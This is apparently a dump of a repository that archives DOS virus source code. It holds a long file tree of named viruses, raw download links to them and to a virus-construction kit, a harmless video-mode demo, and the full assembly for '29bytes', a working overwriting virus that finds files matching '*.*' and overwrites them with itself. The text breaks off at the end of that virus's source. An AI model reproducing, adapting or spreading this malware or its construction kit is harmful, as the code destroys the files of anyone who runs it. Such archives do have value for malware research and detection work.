├── README.md ├── vcl-installer.zip ├── vcl.zip └── virus ├── 0 ├── 100%-1.asm ├── 100%.asm ├── 1200.asm ├── 133.asm ├── 1575-e.asm ├── 1575.asm ├── 15apr.asm ├── 1701-b.asm ├── 1701.asm ├── 1704.asm ├── 1717.asm ├── 1888.asm ├── 189.asm ├── 196.asm ├── 1963.asm ├── 1992.asm ├── 1st_star.asm ├── 1stvirus.asm ├── 203.asm ├── 23.asm ├── 25.asm ├── 299.asm ├── 29bytes.asm ├── 30.asm ├── 3066.asm ├── 334.asm ├── 382.asm ├── 386sx16.asm ├── 405.asm ├── 405_.asm ├── 4096.asm ├── 43.asm ├── 44.asm ├── 50.asm ├── 512-x.asm ├── 512.asm ├── 541.asm ├── 560.asm ├── 583virus.asm ├── 7son.asm ├── 7son2.asm ├── 7son4.asm ├── 808.asm ├── 80hex.asm ├── 90210.asm ├── 911.asm └── _468.asm ├── a ├── abdo.asm ├── acidtrip.asm ├── acme.asm ├── acurev.asm ├── addict1.asm ├── addict2.asm ├── addict3.asm ├── addict4.asm ├── addict5.asm ├── addict6.asm ├── addict7.asm ├── addict8.asm ├── addict9.asm ├── adrian.asm ├── afrca109.asm ├── ag.asm ├── agiplan.asm ├── ah.asm ├── ahadisk.asm ├── aid(s).asm ├── aids.pas ├── aircop.asm ├── alameda.asm ├── alchemy.asm ├── alemeda.asm ├── alpha.asm ├── ambul3.asm ├── ambulanc.asm ├── amst-299.asm ├── amst-345.asm ├── amst-740.asm ├── amst-847.asm ├── amst-852.asm ├── andropin.asm ├── angela.asm ├── anna.asm ├── ansi.asm ├── ansibomb.asm ├── anthrax.asm ├── anti-exe.asm ├── anti-mon.asm ├── anti_daf.asm ├── anticaro.asm ├── anticmos.asm ├── anticst.asm ├── antig.asm ├── antiivt.asm ├── antipas.asm ├── antitbc.asm ├── ap-400.asm ├── ap-440.asm ├── ap-480.asm ├── ap-529.asm ├── ap-605.asm ├── apocalyp.asm ├── append.asm ├── april30.a86 ├── april30.asm ├── arara1.a86 ├── arara1.asm ├── arbeit.asm ├── archer.asm ├── archive.asm ├── arcvsmal.asm ├── armag911.asm ├── armagedo.asm ├── arsonic.asm ├── asex_099.asm ├── asexual.asm ├── asm_8080.inc ├── assassin.asm ├── atomc350.asm ├── atomic.asm ├── attr.asm ├── avengsrc.asm ├── avpaids.asm ├── azrael.asm └── azusa.asm ├── b ├── b1.asm ├── bac.asm ├── bad_reli.asm ├── badattit.asm ├── badboy.asm ├── badboy2.asm ├── barney.asm ├── basho.asm ├── batch.asm ├── batvir.asm ├── bb.asm ├── bbnop.asm ├── bbrains.asm ├── bbs-1258.zip ├── beast-b.asm ├── beavis.asm ├── bedtime.asm ├── bin-obs.asm ├── bin_acid.asm ├── bio.asm ├── bio2.asm ├── bird.a86 ├── bird.asm ├── bitter.asm ├── bizatch.zip ├── bjec-3.asm ├── bjec-4.asm ├── bjec-5.asm ├── bjec-6.asm ├── bjec-7.asm ├── bjec-8.asm ├── bjec-9.asm ├── blah.asm ├── blknight.asm ├── bloody.asm ├── bluenine.asm ├── bob.asm ├── bobvirus.asm ├── bomb.asm ├── bomb.lst ├── boot-ds.asm ├── boot-ss.asm ├── boot.asm ├── boot1.asm ├── boot2.asm ├── boot410.asm ├── boot_vir.asm ├── boothors.asm ├── boothrs2.asm ├── boothrs3.asm ├── bootvir.asm ├── brain.asm ├── breeze.asm ├── brother.asm ├── brother2.asm ├── brother3.asm ├── brown2.asm ├── browse.asm ├── bt.asm ├── bubbles1.asm ├── bubbles2.asm ├── bugger.asm ├── burger.asm ├── bush.asm ├── busted.asm ├── bypass.asm └── byteme.asm ├── c ├── c-623.asm ├── c-627.asm ├── c-740.asm ├── c-740b.asm ├── c-847.asm ├── c-a-d.asm ├── c0t.asm ├── cabanas.asm ├── cache.asm ├── cacodmon.asm ├── caffein.asm ├── cancer.asm ├── cannab1.asm ├── cannab2.asm ├── cannab2.txt ├── cannab3.asm ├── cannab3i.asm ├── cannab4.asm ├── carbunc.asm ├── carpdiem.asm ├── cascade.asm ├── cascspec.asm ├── casino.asm ├── casper.asm ├── catchme.asm ├── catphish.asm ├── cclust2.asm ├── cdeath3.asm ├── cdeath4.asm ├── cdeath5.asm ├── cdiem2.asm ├── cdset.asm ├── cdset4.asm ├── cdset5.asm ├── cdset6.asm ├── cemetary.asm ├── cgagrafa.asm ├── chad.asm ├── chaos.nfo ├── charly2.asm ├── chc.asm ├── chchoke.asm ├── cheeba.asm ├── cheeba.txt ├── cheeser.asm ├── cheesy.asm ├── cia.asm ├── cia2.asm ├── ciavirus.asm ├── cih_12.asm ├── cih_13.asm ├── cih_14.asm ├── cint.asm ├── civil.asm ├── civil210.asm ├── civil211.asm ├── civil310.asm ├── civil510.asm ├── civil_4a.asm ├── civil_4b.asm ├── civil_4c.asm ├── civil_4d.asm ├── civil_ii.asm ├── civilser.asm ├── civilwar.asm ├── cj.asm ├── clap.asm ├── clust.asm ├── cluster1.asm ├── cluster2.asm ├── cocroach.asm ├── codezero.asm ├── coffshop.asm ├── coffshp1.asm ├── coffshp3.asm ├── coke.asm ├── collectn.txt ├── combat.asm ├── comdex7.asm ├── comment1.asm ├── comment2.asm ├── compiler.asm ├── compo.asm ├── compres.asm ├── comvirus.asm ├── copcom.asm ├── copyr.asm ├── creepdea.asm ├── creeper.asm ├── crepdeth.asm ├── crf.asm ├── cricri.asm ├── crimeiib.asm ├── crunch20.asm ├── cv.asm ├── cv4-30.asm ├── cvirus.asm ├── cybertch.asm ├── cybrcide.asm ├── cybrtcha.asm ├── cybrtchb.asm ├── cybtch-b.asm ├── cybtcha2.a86 ├── cybtcha2.asm ├── cybtchb2.a86 └── cybtchb2.asm ├── d ├── d-aveng.asm ├── daboys.asm ├── dame.asm ├── dame090.asm ├── dame091.asm ├── dan.asm ├── danger.asm ├── dark ├── dark.asm ├── darkapoc.asm ├── darkav.asm ├── darkvad.asm ├── darlene.asm ├── darth.asm ├── darth1.asm ├── darth2.asm ├── darth3.asm ├── darth4.asm ├── datacrim.asm ├── daterape.asm ├── dbase.asm ├── dc-b.asm ├── ddir.asm ├── debug.asm ├── deep ├── define.asm ├── dei.asm ├── deicide.asm ├── delz.asm ├── dementia.asm ├── demo.asm ├── demoexe.asm ├── demon.asm ├── demovir.asm ├── denise.asm ├── denzuk.asm ├── des.pas ├── destroy.pas ├── destruct.asm ├── devil.asm ├── dhcivwar.txt ├── dhog.asm ├── dial.asm ├── diamond.asm ├── diarrh-b.asm ├── diarrh-c.asm ├── diarrhe4.asm ├── diarrhe6.asm ├── diarrhea.asm ├── dichotom.asm ├── digdeath.asm ├── digipol.asm ├── digparas.asm ├── dir-2.asm ├── dir-ii.asm ├── dir2.asm ├── dir_8.asm ├── dirr.asm ├── diskscan.asm ├── dna.asm ├── dodgy.asm ├── dontello.asm ├── doom.asm ├── doors.asm ├── dos-edit.asm ├── dos1.asm ├── dos62.asm ├── dr.asm ├── dr20-inf.asm ├── dr23.asm ├── dragon.asm ├── dreamwrl.asm ├── drink_up.asm ├── drip21.asm ├── drkray.asm ├── dropsy.asm ├── druid.asm ├── dsa.asm ├── dsk_lite.txt ├── dtarpe23.asm ├── dumb.asm └── dwi.asm ├── e ├── e1.asm ├── e2.asm ├── e22.asm ├── ear-6.asm ├── ear.asm ├── ear_6.asm ├── earthday.asm ├── earthday2.asm ├── eddie-b.asm ├── eddie.asm ├── ee3.asm ├── eemvoor1.asm ├── eemvoor2.asm ├── egagrafa.asm ├── emf.asm ├── emotnaf.asm ├── ems.asm ├── enc.asm ├── encroach.asm ├── enemy.asm ├── enigma.asm ├── enigma2.asm ├── enihcam.asm ├── enmity.asm ├── entwives.asm ├── erutset.asm ├── esperanto.asm ├── estonia.asm ├── eternit2.asm ├── eternity.asm ├── everfire.a86 ├── everfire.asm ├── exebug.asm ├── exev_sr.asm ├── expert.asm ├── expert1.asm └── extasy.asm ├── f ├── faces.asm ├── fact.asm ├── fade.asm ├── fatman.asm ├── fbvir.asm ├── fbvir.map ├── fbvir.obj ├── feeble.a86 ├── feeble.asm ├── ffire.asm ├── fil.asm ├── file_id.diz ├── fireant.asm ├── firecide.asm ├── fish.asm ├── fish_.asm ├── five.asm ├── floppy.asm ├── flu_not.asm ├── flue.txt ├── fonta.asm ├── fooltbc.asm ├── fornicat.asm ├── free.asm ├── friday.asm ├── frodo.asm ├── fs.asm └── fumanchu.asm ├── g ├── gadost.asm ├── gandalf.asm ├── gc1575a.asm ├── gen12.asm ├── generic.asm ├── getpass!.asm ├── gifkill.asm ├── globe.asm ├── globe.pas ├── gmb.asm ├── gold-bug.asm ├── gold-bug.txt ├── goldbug.asm ├── gollum.asm ├── gomb.asm ├── gotcha-e.asm ├── gotcha17.asm ├── gotcha4.asm ├── gotcha9.asm ├── gotcha9e.asm ├── gpb.txt ├── graflib.asm ├── greatpre.asm ├── greeting.asm ├── grither.asm ├── guerilla.asm ├── gunther.asm └── gv.asm ├── h ├── hack-83.asm ├── hack-res.asm ├── hacktic.asm ├── hacktic2.asm ├── hare.asm ├── hate.asm ├── hause.asm ├── hcarry.asm ├── heevahav.asm ├── hh&h.asm ├── hidos.asm ├── highland.asm ├── hitler.asm ├── hitler_.asm ├── hitme.asm ├── hiv-b.asm ├── hiv.asm ├── horse.asm ├── horse2.asm ├── horse4.asm ├── horse5.asm ├── horse8.asm ├── house.asm ├── howard.asm ├── hr.asm ├── hspawn.asm ├── humgreed.asm ├── hybris.asm ├── hybrisav.asm ├── hydra1.asm ├── hydra2.asm ├── hydra3.asm ├── hydra4.asm ├── hydra5.asm ├── hydra6.asm ├── hydra7.asm └── hydra8.asm ├── i ├── ice1.asm ├── ice2.asm ├── iceburn.asm ├── icecream.asm ├── icelandi.asm ├── icemelt.asm ├── icemix1.asm ├── ich.bat ├── igor.asm ├── indit.asm ├── inf9.asm ├── inferdem.asm ├── insane.asm ├── insanery.asm ├── insuff.asm ├── int10.asm ├── int13.asm ├── inter.asm ├── intovl.asm ├── intr1440.asm ├── intr1988.asm ├── intruder.asm ├── intrview.asm ├── inv-evil.asm ├── inv602-r.asm ├── invdanub.asm ├── invol.asm ├── iod.asm ├── ir144.asm ├── irm_kill.asm ├── israeli.asm ├── isreali.asm ├── isreali.lst ├── ital.asm ├── italiano.asm ├── itti-a.asm ├── itti-b.asm ├── ivdetect.asm └── ivkiller.asm ├── j ├── j_1808.asm ├── j_1808.lst ├── j_a204.asm ├── j_sundyb.asm ├── j_sundyb.lst ├── jacky.asm ├── jeru-b.asm ├── jeru-b.lst ├── jeru-s.asm ├── jeru-s.lst ├── jeru.asm ├── jeru.lst ├── jerub204.asm ├── jerus.asm ├── jerusal.asm ├── jerusale.asm ├── jerusalm.asm ├── jo1_11.asm ├── jo_v111.asm ├── john.asm ├── johnb.asm ├── joker.asm ├── joshua.asm └── justice.asm ├── k ├── k-cmos.asm ├── kbm.asm ├── keeper.asm ├── key-fake.asm ├── keypress.asm ├── keypress.err ├── kiis.asm ├── kildia.asm ├── killeddi.asm ├── kilroy.asm ├── kinison.asm ├── kinnison.asm ├── kode4-1.asm ├── kode4-2.asm ├── kode4.asm ├── kode4v2.asm ├── krad.pas ├── krautfresser.asm └── kuku.bas ├── l ├── lacimehc.asm ├── laicos.asm ├── lame.asm ├── lb-349.asm ├── lbrother.asm ├── leap.asm ├── leap_frg.asm ├── leech.asm ├── lehigh.asm ├── lemming.asm ├── lepc.asm ├── leprosy-c.asm ├── leprosyb.asm ├── leprosyc.asm ├── liana.asm ├── liberty2.asm ├── liberty2.lst ├── libertyb.asm ├── libertyb.lst ├── lisa.asm ├── lisbon2.asm ├── little.asm ├── lizard.asm ├── lmd-2000.asm ├── loader.asm ├── locate.asm ├── lock.asm ├── lockjaw.asm ├── loki1237.asm ├── lokjawd.asm ├── lokjawz.asm ├── lostfile.asm ├── lovelock.asm ├── lptport.asm ├── lqcancer.asm ├── ltbro299.asm ├── ltbro307.asm ├── ltbro321.asm └── lz.zip ├── m ├── m_hivb.asm ├── mad.asm ├── madden.asm ├── maddenb.asm ├── made334.asm ├── malaria.asm ├── malice2a.asm ├── malign.asm ├── malmseys.asm ├── mang.asm ├── manvir.asm ├── manzon.asm ├── marauder.asm ├── maria-k.asm ├── maria_k.asm ├── marked-x.asm ├── markedx.asm ├── marsland.asm ├── marysue.asm ├── mashka.asm ├── massacre.asm ├── master.asm ├── master3.asm ├── master31.asm ├── mayak.asm ├── mcm_62.asm ├── mcwhale.asm ├── megatroj.asm ├── megavir.asm ├── mening.asm ├── merde-2.asm ├── merde-3.asm ├── merde-5.asm ├── met-moon.asm ├── mg-3.asm ├── mg.asm ├── mg2.asm ├── mg3.asm ├── mg_3.asm ├── mgagent.asm ├── mich.asm ├── mich_ld.asm ├── michael.asm ├── michel.asm ├── micro29.asm ├── microsuck.c ├── migram.asm ├── mindless.asm ├── mini-35.asm ├── mini-42b.asm ├── mini-45.asm ├── mini-68.asm ├── mini111.asm ├── mini357.asm ├── mini91.asm ├── mini98.asm ├── mini99.asm ├── miniscul.asm ├── mir.asm ├── misery.asm ├── mit.asm ├── mix1.asm ├── mix1.err ├── mk-chart.txt ├── mkvirlst.txt ├── mkworm.asm ├── ml_366a.asm ├── mlp-1307.asm ├── mlp1307a.asm ├── mlp1307b.asm ├── modify.asm ├── module.c ├── molester.asm ├── monkey-b.asm ├── monkey.asm ├── monkeyb.asm ├── monograf.asm ├── monxla.asm ├── morgoth.asm ├── mortir.asm ├── move.asm ├── mpoxs-2.asm ├── mr-x.asm ├── mte.asm ├── mte2.asm ├── muad'dib.asm ├── multiflu.asm ├── multiplx.asm ├── murphexe.asm ├── murphy-1.asm ├── musicbug.asm ├── mutate.asm ├── mutatint.asm ├── mutint.asm ├── my_vir.asm └── myvir.asm ├── n ├── naktruth.asm ├── nautilus.asm ├── nav.asm ├── navigatr.asm ├── nec_20_u.inc ├── necromin.a86 ├── necromin.asm ├── ned09.asm ├── nekorb.asm ├── neuro.asm ├── neuroeng.asm ├── never.zip ├── newc.asm ├── newzland.asm ├── newzlnd2.asm ├── nhackerf.asm ├── nightwak.asm ├── nihilist.asm ├── nina.asm ├── ninja_1.asm ├── no.asm ├── nobrain.asm ├── nolimit1.a86 ├── nolimit1.asm ├── nolimit2.a86 ├── nolimit2.asm ├── nomncltr.asm ├── nopasara.asm ├── nosnam.asm ├── npad.asm ├── npox-v10.asm ├── npox-v11.asm ├── npox-v20.asm ├── npox-v21.asm ├── npox21.asm ├── npox_1.asm ├── nukevir.asm ├── number-6.asm ├── numberone.pas ├── nyliram.asm └── nymphmit.asm ├── o ├── occido.asm ├── odessa.asm ├── offspr05.asm ├── offspr07.a86 ├── offspr07.asm ├── offspr81.asm ├── offspr82.asm ├── offspr89.asm ├── ogre.asm ├── olo.asm ├── omega.asm ├── omega1.asm ├── one-13.asm ├── one.asm ├── one_half.asm ├── onekey.asm ├── oneline.asm ├── ontar512.asm ├── ontario1.asm ├── ontario3.asm ├── oropax.asm ├── osp-07s.a86 ├── osp-07s.asm ├── ospring.asm ├── otto.asm ├── otto6.asm ├── outland.asm ├── ow-27.asm ├── ow-27b.asm ├── ow-28.asm ├── ow-28b.asm ├── ow-30.asm ├── ow-37.asm ├── ow-42.asm ├── ow-42b.asm ├── ow-64.asm ├── ow0.asm ├── ow1.asm ├── ow10.asm ├── ow2.asm ├── ow3.asm ├── ow4.asm ├── ow5.asm ├── ow6.asm ├── ow7.asm ├── ow8.asm ├── ow9.asm └── ow_42.asm ├── p ├── pakbrain.asm ├── pakbrain.lst ├── pakki.asm ├── paralost.asm ├── parasite.asm ├── parsit2b.asm ├── part.asm ├── passcom.asm ├── path.asm ├── payback.a86 ├── payback.asm ├── pcbb-11.asm ├── pcbb.asm ├── pcbb3072.asm ├── pe#1.asm ├── pearlhbr.asm ├── pebble.asm ├── penis.asm ├── pentagon.asm ├── pentagon.err ├── pet.asm ├── ph33r.a86 ├── phasor10.asm ├── phoebe.asm ├── phoenix.asm ├── pingb.asm ├── pingbnew.asm ├── pingpong.asm ├── pinworm.asm ├── piter.asm ├── pixel.asm ├── pixel345.asm ├── plastiq.asm ├── plastiqe.asm ├── playgam.asm ├── playit.tpu ├── plumbum.asm ├── ply_3360.asm ├── ply_3486.asm ├── ply_3759.asm ├── ply_3768.asm ├── pme-gen.asm ├── pmfejt.asm ├── pogue.scr ├── polimer.asm ├── pong.asm ├── pox.asm ├── pox2.asm ├── prime-b.asm ├── prodigy3.asm ├── projektx.asm ├── prospero.asm ├── prothd.asm ├── proto-t.asm ├── proto_t.asm ├── psycosis.asm ├── pureplus.asm ├── pw15.asm ├── pw16.asm └── pw17.asm ├── q ├── qb.bas ├── qmu.asm └── queen.pas ├── r ├── random.asm ├── ranger.asm ├── ranovr.pas ├── rapbetr.asm ├── rat.asm ├── ravage.asm ├── raver.asm ├── rb2.asm ├── rce.asm ├── readme.txt ├── reboot.asm ├── redmerc.asm ├── regdisp.asm ├── reincanation.asm ├── replic_d.asm ├── republic.asm ├── return-f.asm ├── rhince20.asm ├── richards.asm ├── riot.asm ├── ritzen.asm ├── rizwi.a86 ├── rizwi.asm ├── rme11.asm ├── rnd.asm ├── roach.asm ├── root.asm ├── rsv.asm ├── rtl4.asm ├── rtm.asm ├── rush_vir.asm └── rushhour.asm ├── s ├── s35.asm ├── s4.asm ├── s70x.asm ├── saclink.asm ├── sad.asm ├── sarah.asm ├── saratoga.asm ├── sat-bug.asm ├── satanbug.asm ├── satnlh.asm ├── sauron.asm ├── scramble.asm ├── screamii.asm ├── scrn2.asm ├── scrn3.asm ├── scrn4.asm ├── scroll.asm ├── scroller.asm ├── scrunch.asm ├── sd-swe.asm ├── serg114.asm ├── sergant.asm ├── servant.asm ├── sex666.asm ├── sh.asm ├── sh.map ├── shellt.asm ├── shhs.asm ├── shinyhap.asm ├── simpson.asm ├── sims.asm ├── sisoruen.asm ├── sk.asm ├── sk1.asm ├── sk2.asm ├── sk20h.asm ├── skeleton.asm ├── slian.asm ├── slim1.asm ├── slim2.asm ├── smal.asm ├── small.asm ├── smash.asm ├── smile.asm ├── smile1.asm ├── smlboot.asm ├── smurf.asm ├── soitgoes.asm ├── soldierb.asm ├── som.asm ├── sparse.asm ├── spyte.asm ├── squish.asm ├── stack.asm ├── stackvir.asm ├── stealth.asm ├── stinger.asm ├── stnd.asm ├── stone.asm ├── stoned.asm ├── stoned2a.asm ├── stoned_f.asm ├── stonedii.asm ├── subcon.asm ├── subr.asm ├── suicide.asm ├── summer97.rar ├── sumsdos.asm ├── sundevil.asm ├── sunrise.asm ├── super.asm ├── survive.asm ├── svc5-a.asm ├── swansngb.asm ├── swap.asm ├── swap.vir ├── swap_p.asm ├── swapping.asm ├── sysinf.asm ├── syslock.asm └── syslockm.asm ├── t ├── t-1000.asm ├── t-1300.asm ├── t-1400.asm ├── t3.asm ├── target.asm ├── taurus.asm ├── taz-1973.asm ├── taz-2197.asm ├── taz-2208.asm ├── taz-2209.asm ├── taz-2276.asm ├── taz12.asm ├── tbyte.asm ├── tce.asm ├── tenbytes.asm ├── tequila.asm ├── test1.asm ├── test2.asm ├── test3.asm ├── thief.asm ├── thunder.asm ├── time.asm ├── timebomb.asm ├── timebomb.doc ├── timer.asm ├── timid.asm ├── tiny-133.asm ├── tiny-134.asm ├── tiny-138.asm ├── tiny-143.asm ├── tiny-154.asm ├── tiny-156.asm ├── tiny-158.asm ├── tiny-159.asm ├── tiny-160.asm ├── tiny-163.asm ├── tiny-167.asm ├── tiny-198.asm ├── tiny-b.asm ├── tiny-c.asm ├── tiny-f.asm ├── tiny.asm ├── tiny133.asm ├── tinyd.asm ├── tit.asm ├── tony-f.asm ├── torero.asm ├── torm-205.asm ├── torm-358.asm ├── torment.asm ├── toys.asm ├── tpe_v11.asm ├── tracebck.asm ├── trash.asm ├── trekwar.asm ├── tremor.asm ├── trick446.asm ├── trigger.asm ├── triv22.asm ├── trojan.asm ├── tsd1.asm ├── tsotl-a.asm ├── tsotl-b.asm ├── tsr.asm ├── tsres.asm ├── turbo.asm ├── turbo99.asm ├── turbo99.lst ├── tw.asm ├── twelve.asm ├── twer_com.asm └── typo.asm ├── u ├── ultimute.asm ├── undr.asm ├── unevie.asm ├── unix.txt ├── ussr516.asm ├── ussr707.asm ├── ussr711.asm └── utility.asm ├── v ├── v-1028.asm ├── v-1028.lst ├── v-345.asm ├── v-847.asm ├── v-oneate.asm ├── v1.asm ├── v1385.asm ├── v1385.lst ├── v1701.asm ├── v200.asm ├── v2100_.asm ├── v2p.asm ├── v2p11260.asm ├── v2p6.asm ├── v300.asm ├── v44.asm ├── v500.asm ├── v512.asm ├── v651.asm ├── v800.asm ├── v_582.asm ├── v_822.asm ├── v_822.lst ├── v_dos625.asm ├── v_dos625.lst ├── v_dq1028.asm ├── v_les1.asm ├── v_les2.asm ├── v_violb4.asm ├── vac_tp05.asm ├── vac_tp05.lst ├── vac_tp24.asm ├── vacsv.asm ├── vacsv.lst ├── vanq.asm ├── varcella.asm ├── varicel.asm ├── varicel2.asm ├── varicell.asm ├── vboot.asm ├── vcl1casc.asm ├── vcl_b52.asm ├── vcl_denz.asm ├── vcl_john.asm ├── vcl_kinn.asm ├── vcl_rtns.asm ├── vclcodez.asm ├── vclgoob2.asm ├── vclheeva.asm ├── vclmcyel.asm ├── vclnomem.asm ├── vclquake.asm ├── vclroach.asm ├── vclvmess.asm ├── vcomm.asm ├── vericell.asm ├── vfsi-asm.asm ├── vhp-353.asm ├── vhp-435.asm ├── vhp-623.asm ├── vhp-627.asm ├── vhp-648.asm ├── vi5.asm ├── victor.asm ├── victor.err ├── vienna-a.asm ├── vienna.asm ├── viennaas.asm ├── viennab.asm ├── viennac.asm ├── viol-1a.asm ├── viol-b.asm ├── viol-b2.asm ├── viol-b3.asm ├── viol-b4.asm ├── viol-c.asm ├── viola.asm ├── violator.asm ├── violb.asm ├── violb2.asm ├── vip-b.asm ├── vip10.asm ├── vir#1.asm ├── vir.asm ├── vir01.asm ├── vir02.asm ├── vir03.asm ├── vir04.asm ├── vir05.asm ├── vir06.pas ├── vir08.asm ├── vir09.asm ├── vir1.asm ├── vir1.rar ├── vir10.asm ├── vir11.pas ├── vir12.asm ├── vir13.asm ├── vir14.bas ├── vir15.asm ├── vir16.asm ├── vir17.asm ├── vir18.asm ├── vir19.asm ├── vir2.asm ├── vir20.asm ├── vir21.asm ├── vir22.asm ├── vir23.asm ├── vir24.asm ├── vir25.asm ├── vir26.asm ├── vir27.asm ├── vir28.asm ├── vir29.pas ├── vir30.asm ├── vir31.asm ├── vir32.asm ├── vir33.asm ├── vir34.asm ├── vir35.asm ├── vir36.asm ├── vir37.asm ├── vir38.asm ├── vir39.asm ├── vir40.asm ├── vir41.pas ├── vir42.asm ├── vir43.asm ├── vir44.asm ├── vir45.asm ├── vir46.asm ├── vir47.asm ├── vir48.c ├── vir49.asm ├── vir50.asm ├── vir51.asm ├── vir52.asm ├── vir53.asm ├── vir54.asm ├── vir55.asm ├── vir56.asm ├── vir57.asm ├── vir58.lst ├── vir61.asm ├── vir62.asm ├── vir63.asm ├── vir64.asm ├── vir_rtns.asm ├── virbub.asm ├── virdem.asm ├── virus.asm ├── virus.ba~ ├── virus0b.asm ├── virus2.asm ├── virus3.asm ├── virus32a.asm ├── virus33.asm ├── virusa.asm ├── vlp1.c ├── vmessiah.asm ├── vor_1600.asm ├── vor_1600.lst ├── voronezh.asm ├── vote.asm ├── vote.scr ├── voterase.scr ├── vslay.asm ├── vsource.asm ├── vvv3.asm ├── vvv4.asm ├── vvv5.asm ├── vvv6.asm ├── vvv7.asm ├── vvv8.asm ├── vvv9.asm └── vx1.asm ├── w ├── w31v.asm ├── w97_class_poppy.txt ├── wanderer.asm ├── wasmvir.asm ├── web_390.asm ├── web_415.asm ├── weflow.asm ├── westmont.asm ├── whale.asm ├── wharps.asm ├── whatsup.asm ├── why-wind.asm ├── windooze.asm ├── winsurfr.a86 ├── winvir.asm ├── wm_demez.txt ├── wrz_d00d.asm ├── wvir14.asm ├── wvir14a.asm ├── ww.asm ├── wwt-01.asm └── wwt-02.asm ├── x ├── xa1.asm ├── xa1.lst ├── xhiltar.asm ├── xmas.obj ├── xmas.pas ├── xpart.asm └── xph_1100.asm ├── y ├── y_yank1.asm ├── yale-asm.asm ├── yale_asm.asm ├── yankee2.asm ├── yanshort.asm ├── yd23.asm ├── yeah1.asm ├── yelet.asm └── you_got_it.asm └── z ├── z10-c.asm ├── z10-d.asm ├── z10.asm ├── z10_b.asm ├── zeno1.asm ├── zep.asm ├── zeppelin.asm ├── zerohunt.asm ├── zigzag.asm ├── zombie.asm ├── zombie95.asm └── zorm.asm /vcl-installer.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/vcl-installer.zip -------------------------------------------------------------------------------- /vcl.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/vcl.zip -------------------------------------------------------------------------------- /virus/0/133.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/133.asm -------------------------------------------------------------------------------- /virus/0/1575-e.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/1575-e.asm -------------------------------------------------------------------------------- /virus/0/1575.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/1575.asm -------------------------------------------------------------------------------- /virus/0/15apr.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/15apr.asm -------------------------------------------------------------------------------- /virus/0/1701-b.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/1701-b.asm -------------------------------------------------------------------------------- /virus/0/1701.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/1701.asm -------------------------------------------------------------------------------- /virus/0/1704.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/1704.asm -------------------------------------------------------------------------------- /virus/0/1888.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/1888.asm -------------------------------------------------------------------------------- /virus/0/1963.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/1963.asm -------------------------------------------------------------------------------- /virus/0/1stvirus.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/1stvirus.asm -------------------------------------------------------------------------------- /virus/0/23.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/23.asm -------------------------------------------------------------------------------- /virus/0/25.asm: -------------------------------------------------------------------------------- 1 | ; Basic little bitty program for people learning about the different modes 2 | ; you can stick on your monitor. This program will put you into 80*50 on a 3 | ; VGA monitor, and should be 80*43 on an EGA monitor (I dunno, haven't tested 4 | ; it.) Anyways, I tried to comment it so someone not knowing asm would be 5 | ; able to understand it. 6 | ; 7 | ; Coded by The Crypt Keeper/Kevin Marcus 8 | ; You may feel free to do absolutely anything to this code, so long as it is 9 | ; not distributed in a modified state. (Incorporate it in your programs, I 10 | ; don't care. Just do not change >THIS< program.) 11 | ; 12 | ; The Programmer's Paradise. (619)/457-1836 13 | 14 | IDEAL ; Ideal Mode in TASM is t0tallie /< rad man. 15 | DOSSEG ; Standard Segment shit. 16 | MODEL tiny ; What model are we in?! 17 | DATASEG ; Data Segment starts here, man. 18 | exitcode db 0 ; 'exitcode' be zer0, man. 19 | CODESEG ; Code Segment starts here, dude. 20 | org 100h ; Where do .COM files start? 21 | Start: 22 | mov ax,0003h ; stick 3 into ax. 23 | int 10h ; Set up 80*25, text mode. Clear the screen, too. 24 | 25 | Exit: 26 | 27 | mov ah,4ch ; Lets ditch. 28 | mov al,[exitcode] ; Make al 0. Why not xor!? Suck a ____. 29 | int 21h ; "Make it so." 30 | END Start ; No more program. -------------------------------------------------------------------------------- /virus/0/299.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/299.asm -------------------------------------------------------------------------------- /virus/0/29bytes.asm: -------------------------------------------------------------------------------- 1 | ;Smallest in the trivial series of viruses, I think.... 2 | ;Last I saw was 30 bytes - this one goes to 29. 3 | ;Code by Stormbringer... stupid virus, but small. 4 | 5 | .model tiny 6 | .radix 16 7 | .code 8 | org 100 9 | start: 10 | 11 | FindFile: 12 | xchg cx,ax ;ax defaults to zero on runtime - cx doesn't 13 | push si ;si defaults to 100h under dos - use this l8r 14 | mov dx,offset filemask 15 | mov ah,4e 16 | int 21 17 | 18 | OverwriteFile: 19 | mov dx,9e 20 | mov ah,3c 21 | int 21 22 | 23 | WriteVirus: 24 | xchg bx,ax 25 | mov ah,40 26 | pop dx ;get 100h from si earlier for write pointer 27 | mov cl,endvir-start ;move only to CL, CH is already zero 28 | int 21 29 | 30 | Terminate: 31 | ret ;terminate by returning to PSP (Int 20) 32 | 33 | filemask db '*.*',0 34 